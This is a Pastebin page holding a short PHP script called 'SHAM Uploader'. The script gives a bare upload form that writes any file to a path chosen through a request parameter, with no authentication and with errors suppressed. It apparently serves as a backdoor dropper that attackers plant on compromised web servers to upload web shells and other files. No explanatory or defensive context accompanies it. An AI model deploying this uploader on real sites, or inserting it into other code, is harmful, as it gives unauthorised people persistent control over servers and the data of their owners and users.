Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo '
- <html><head><title>SHAM Uploader,</title>
- </head><body>
- <form method=POST enctype="multipart/form-data">
- <input type="file" name="files">
- <input type=submit value="Up">
- </form></body></html>';
- $files = @$_FILES["files"];
- if ($files["name"] != "") {
- $fullpath = $_REQUEST["path"] . $files["name"];
- if (move_uploaded_file($files["tmp_name"], $fullpath)) {
- echo "<font face=\"Courier New\">[+] Uploaded succsessfully <a href=\"$fullpath\">[>>]</a></font>";
- } else
- {
- echo "<font face=\"Courier New\">[-] Uploaded Faild :/ !</font>";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement